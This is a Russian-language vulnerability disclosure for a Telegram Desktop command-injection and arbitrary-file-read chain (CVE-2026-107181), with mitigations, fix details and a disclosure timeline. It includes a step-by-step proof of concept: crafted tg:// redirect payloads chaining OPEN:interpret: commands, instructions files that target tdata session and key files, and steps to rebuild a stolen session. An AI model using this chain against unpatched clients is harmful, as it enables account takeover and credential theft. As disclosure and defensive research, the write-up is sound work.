Введение
Кто-то добавляет вас в группу Telegram. В чате появляется ссылка. Вы на неё кликаете — и ваш аккаунт Telegram больше только ваш.
Как это работает?
Telegram Desktop передаёт клики по ссылкам своему уже запущенному процессу через локальный сокет в виде текста, и никогда не экранирует символ, который использует для разделения команд. Поэтому специально сформированная ссылка попадает не как одна инструкция — а как несколько.
Найденная цепочка содержит два изъяна. Первый — это сама инъекция. Второй — то, к чему эта инъекция приводит: внутренняя схема URI interpret:, которая читает файл, указанный в файле инструкций, и отправляет его в чат, без проверки того, кто это запрашивает, и без подтверждения. Вместе они превращают клик по ссылке в произвольное чтение файлов. В этой статье разберём эту цепочку и используем её для кражи файлов, которые содержат учётные данные жертвы.
| Уязвимо | Telegram Desktop до версии 7.2.8, подтверждено на Windows (6.9.3) |
| Воздействие | Удалённое произвольное чтение локальных файлов, утечка в контролируемый чат; перехват аккаунта |
| CVE | CVE-2026-107181 |
| Исправлено в | 7.2.9, commit db3405699f |
| Severity | 8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
Одна ссылка, два процесса
Операционные системы позволяют программам регистрировать URI-схемы, чтобы система знала, какое приложение запустить при встрече со ссылкой такого типа. Telegram Desktop регистрирует tg. После этого система знает, что ссылка tg://... принадлежит Telegram, и запускает его, передав URL как аргумент командной строки.
Если Telegram не запущен, процесс стартует, берёт строку как параметр, превращает её в объект URL и обрабатывает внутри: один процесс, и нечего коммуницировать.
Но что, если Telegram уже запущен? Операционная система ни не знает, ни не проверяет — всё равно запускает новый процесс, идентичный первому. Сам Telegram должен разобраться, что это лишний процесс, и способ, которым он это понимает — попытка подключиться к локальному сокету.
Уже запущенный процесс — это сервер: с момента запуска он слушает на этом сокете. Новый процесс — клиент. Если ему удаётся подключиться, значит, экземпляр уже жив, поэтому он передаёт ссылку и выходит.
Сокет переносит не объекты, а байты. Объект URL, который новый процесс держит в памяти, не может пройти через этот канал, поэтому его нужно превратить в строку текста.
Эта операция называется сериализацией. Обратный процесс — восстановление объекта из текста — называется десериализацией. Оба неизбежны, когда структурированные данные пересекают границу, и оба — это ровно то место, где границы внутри данных перестают задаваться структурой и становятся просто символами в тексте.
Telegram делает это в собственном формате, простом. Каждая инструкция — это ключевое слово, потом аргумент, потом точка с запятой, которая её завершает. Ссылка для открытия становится такой:
OPEN:tg://x?a=1;
tg://x?a=1 не соответствует никакому обработчику в Telegram, поэтому сама по себе эта ссылка ничего не делает. Это просто контейнер.
Эта строка строится здесь, по одной на каждый URL для открытия:
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
На другой стороне запущенный процесс десериализует: читает полученные байты, режет их в каждой точке с запятой и обрабатывает каждый кусок как отдельную инструкцию. Для каждого куска, начинающегося с OPEN:, берёт то, что после, и восстанавливает как URL, в точности как если бы он только что пришёл в командной строке.
// sandbox.cpp:453-463 (сокращённо)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
Неэкранированный разделитель
Что произойдёт, если одно из передаваемых значений содержит точку с запятой — ровно тот символ, который формат использует как разделитель? Возьмём ссылку из примера выше и добавим кое-что:
tg://x?a=1;CMD:quit
Новый процесс воспринимает это как один URL, потому что для него эта точка с запятой — просто символ в query-строке. Он сериализует и пишет в сокет:
OPEN:tg://x?a=1;CMD:quit;
Запущенный процесс режет в каждой точке с запятой и получает две инструкции вместо одной:
OPEN:tg://x?a=1
CMD:quit
Это инъекция, и это первый из двух изъянов.
Схема URI interpret:
В примере выше была инъекция CMD:, но не надо обманываться на имя: она принимает только show и quit, поэтому худшее, что она может сделать — закрыть приложение.
Всего принимается четыре команды, и три из них безвредны. Четвёртая — это OPEN:, и вот здесь деталь: она принимает любой URL, без фильтрации по схеме.
Поиск в коде обнаруживает ещё одну URI-схему внутри Telegram, называемую interpret:.
Операционная система не знала бы, что делать со ссылкой, начинающейся с interpret:, потому что она не зарегистрирована нигде как обработчик протокола: существует только в коде Telegram, который подхватывает эту схему из списка start-URL как любую другую.
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
Через OPEN: она становится досягаемой:
tg://x?a=1;OPEN:interpret:instructions.txt
Так для чего нужна interpret:?
Это был инструмент, который Telegram использовал для публикации собственных релизов. Когда выходила новая версия, архив сборки нужно было выложить в канал с changelog в качестве подписи. Вместо того чтобы делать это вручную, скрипт писал небольшой текстовый файл с именем канала, файлом для отправки и текстом для подписи, а затем запускал Telegram с путём к этому файлу.
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)
Файл инструкций выглядит так:
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.
Значение from: сравнивается с ID текущего авторизованного аккаунта: это предотвращает публикацию релиза не из того аккаунта. Проверка выполняется только если строка присутствует, поэтому её пропуск полностью пропускает проверку. Назначение задаётся только channel: и должно быть каналом или супергруппой.
Функция InterpretSendPath делает эту работу.
Где же баг? interpret: выполняет привилегированное действие — читает любой файл с диска и отправляет его в чат, без запроса подтверждения и без проверки, кто это запрашивает.
Функция не выполняет проверку авторизации.
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());
Когда это приходит из командной строки, как вызывает это скрипт релизов, это не проблема: атакующему нужен уже foothold на машине, и с ним они могут читать файлы сами. Но как только это же действие становится досягаемым через сокет, и поэтому через инъекцию, опасная функция становится доступной через ссылку, которую кликает жертва.
Это отсутствие авторизации, и это второй из двух изъянов.
Как атакующий кладёт файл инструкций на диск
Атакующий, который смог бы положить файл инструкций на диск жертвы, указав в file: путь, который стоит украсть, и в channel: свой собственный канал, мог бы утечь любой файл с этой машины ничем, кроме клика по ссылке.
Как же атакующий кладёт текстовый файл по предсказуемому пути на чужой диск? Очевидный способ — отправить его как attachment в чате.
По умолчанию Telegram Desktop в своей конфигурации автоматически загружает файлы, полученные в группах, размером до 8 МиБ, а в трансляционных каналах автоматическая загрузка отключена. Файл приземляется в стандартную папку, под тем же именем, которое выбрал отправитель, без клика жертвы, и в предсказуемом месте (коллизия имён заставит Telegram сохранить instructions1 (2).txt вместо этого). Некоторые форматы, такие как стикеры, GIF и голосовые сообщения, идут во внутренний кеш вместо этого и были бы недосягаемы как путь на диске.
Telegram строит этот путь сам (file_utilities.cpp:172-181). На Windows:
C:\Users\<user>\Downloads\Telegram Desktop\<file name>
Отправляя файл в группу, атакующий знает ровно, где он будет сохранён. В пути всё ещё кажется одно неизвестное — имя пользователя Windows, но interpret: также принимает относительные пути, а относительный путь разрешается из собственной рабочей директории Telegram, которая является его data-папкой (logs.cpp:381). На Windows это %APPDATA%\Telegram Desktop, три уровня ниже домашней директории пользователя, а Downloads находится прямо в этой домашней директории. Поэтому такой путь:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
даёт атакующему детерминированный путь без знания имени пользователя.
От чтения файла к перехвату аккаунта
InterpretSendPath отправляет ровно один файл за вызов: если файл инструкций содержит несколько строк file:, считается только последняя. Две вещи поднимают это ограничение. Ничто не останавливает атакующего от публикации сколько угодно файлов инструкций, а инъекция не останавливается на первой команде: каждая точка с запятой открывает ещё одну. Три цели, тогда, это три файла инструкций и три наложенные команды в одной ссылке.
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
Примитив остаётся одним и тем же: произвольное чтение файлов. Что меняется — это то, что вы читаете: приватный SSH-ключ, хранилище паролей браузера, файл облачных credentials или конфигурацию с API-токеном.
Telegram не хранит локальные данные в открытом виде, поэтому всё, что пользователь держит на диске, зашифровано, включая авторизацию сессии. Это ключ, который клиент использует, чтобы идентифицировать себя перед серверами Telegram, и обладание им достаточно, чтобы быть этим аккаунтом, как сессионная cookie на вебсайте.
Telegram использует key wrapping. Задействовано два ключа. Первый, DEK (Data Encryption Key), длинный, случайный и высокой энтропии, шифрует данные пользователя. Второй, KEK (Key Encryption Key), шифрует только DEK и не является паролем: он производится из пароля через функцию key derivation (KDF), вместе с солью, хранимой рядом с зашифрованным DEK.
В псевдокоде цепочка, которая открывает локальные данные, выглядит так:
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # empty if none is set
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
По умолчанию Telegram Desktop не имеет локального пароля: нужно открыть настройки и установить его. Без него пароль, питающий derivation, пустой (storage_domain.cpp:102), поэтому KEK происходит из пустой строки и соли, и эта соль хранится в открытом виде в tdata/key_datas, том же файле, который содержит зашифрованный DEK. Чтения одного этого файла достаточно, чтобы пересчитать KEK и распаковать DEK.
Итак, без пароля, кто бы ни получил key_datas, получает DEK, и с DEK всё остальное расшифровывается, включая авторизацию сессии.
Задействованы три файла, и только два из них содержат секреты:
tdata/
├── key_datas соль и зашифрованный DEK
├── D877F783D5D3EF8Cs MTProto авторизация, зашифрованная DEK
└── D877F783D5D3EF8C/
└── maps индекс хранимых данных аккаунта
Это имя папки не случайно и не специфично для установки. Оно производится из строки data, имени data по умолчанию (storage_file_utilities.cpp:241-250). Оно идентично на каждой установке.
Третий файл — индекс, и он не содержит секретов. Сессия всё равно не загрузится без него: Telegram читает авторизацию только при чтении этого индекса. Его кража, однако, — выбор: атакующий мог бы просто так же сделать свой. В этом PoC он просто берётся вместе с другими двумя для удобства.
Отсюда следует, что атакующий, обладающий всеми тремя, имеет аккаунт: положи их в свежий tdata, стартуй Telegram, и сессия жертвы откроется.
Доставка ссылки
Атака требует одного клика от жертвы, и он должен быть откуда-то вне Telegram. Ссылка tg://, клёпанная внутри чата Telegram, обрабатывается в процессе (click_handler_types.cpp:278) и никогда не доходит до сокета, поэтому там нечего инжектировать. Обычные https ссылки, с другой стороны, открываются в системном браузере (ui_integration.cpp:437), потому что Telegram Desktop не имеет встроенного. Поэтому атакующий отправляет обычную https ссылку и имеет свой сервер редиректить её на сформированную tg://.
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
В зависимости от браузера и от того, использовала ли жертва этот обработчик раньше, система может запросить подтверждение перед запуском Telegram.
Proof of concept
-
Атакующий создаёт суперgruppe и добавляет туда жертву. По умолчанию приватность Telegram позволяет это без подтверждения от адресата.
-
Атакующий постит в группу три текстовых файла инструкций, по одному на каждый файл для кражи, все указывая собственную группу атакующего как назначение. Пропуск строки
from:полностью пропускает проверку аккаунта:channel: 2001234567 file: tdata/key_datas caption: pocФайл должен быть простым текстом с LF разрывами строк и без BOM. Остальные два указывают на
tdata/D877F783D5D3EF8Csиtdata/D877F783D5D3EF8C/maps. Автоматическая загрузка сохраняет все три на диск жертвы когда жертва открывает группу, что они всё равно делают, потому что там ждёт ссылка из шага 3. -
Атакующий отправляет неинтересную ссылку в чат:
https://corvus.sec/rules -
Жертва кликает. Браузер следует редиректу, на этот раз несущему одну команду за цель, обёрнутую здесь но отправляемую как одна строка:
tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt -
Операционная система запускает второй процесс Telegram, который пробрасывает URL запущенному через сокет. Неэкранированные точки с запятой разбивают его, и инъекция срабатывает.
-
Три команды
interpret:выполняются, и три файла загружаются в группу атакующего. Никакой диалог подтверждения не показывается. -
Атакующий пересобирает
tdataиз трёх файлов и открывает аккаунт жертвы.
Смягчение
Обновитесь до версии 7.2.9 или позже. Это единственное, что действительно закрывает проблему. Остальное снижает риск.
-
Включите "спросить, где сохранять каждый файл". С этой настройкой автоматическая загрузка вообще не происходит, и файл инструкций никогда не попадает на диск. Это самое эффективное смягчение, кроме обновления.
-
Ограничьте тех, кто может добавить вас в группы, только контактами. Украденные файлы могут быть отправлены только в канал или супергруппу, поэтому это убирает место, куда атакующий мог бы их доставить.
-
Установите локальный пароль и выберите его как настоящий пароль. Это не предотвращает кражу файлов; это только делает украденную сессию неиспользуемой.
Исправление
Исправлено commit db3405699f 16 сентября 2026. Changelog датирует 7.2.9 тем же днём; релиз был опубликован следующим утром. Commit удаляет схему interpret:// и Support::InterpretSendPath полностью, и экранирует record separator на single-instance сокете: значения экранируются percent-prefixed hex encoding перед записью и декодируются после разбиения, поэтому точка с запятой в данных не может больше стать границей.
Кроме того, добавляются две меры сверх этого: записи CMD: и CTRL: пропускаются когда то же соединение несёт OPEN:, и локальные пути на диске выпадают как только на соединение попала non-local URL.
Timeline
| Дата | Событие |
|---|---|
| 2026-06-25 | Доложено через ZDI |
| 2026-09-16 | Vendor исправляет проблему независимо, commit db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 опубликован |
| 2026-09-30 | ZDI закрывает дело как уже исправленное; права раскрытия возвращаются мне |
| 2026-10-03 | Этот writeup |
| 2026-10-07 | CVE-2026-107181 назначена |
Исправление вышло тихо: changelog 7.2.9 упоминает только rendering fix, commit, который закрывает цепочку, озаглавлен "Remove legacy interpret path helper", и никакой advisory его не сопровождал.
BeakSec на YouTube
Если вам нравится такое, я публикую cybersecurity материалы на BeakSec, моём YouTube канале. Это новое, поэтому подписка помогает.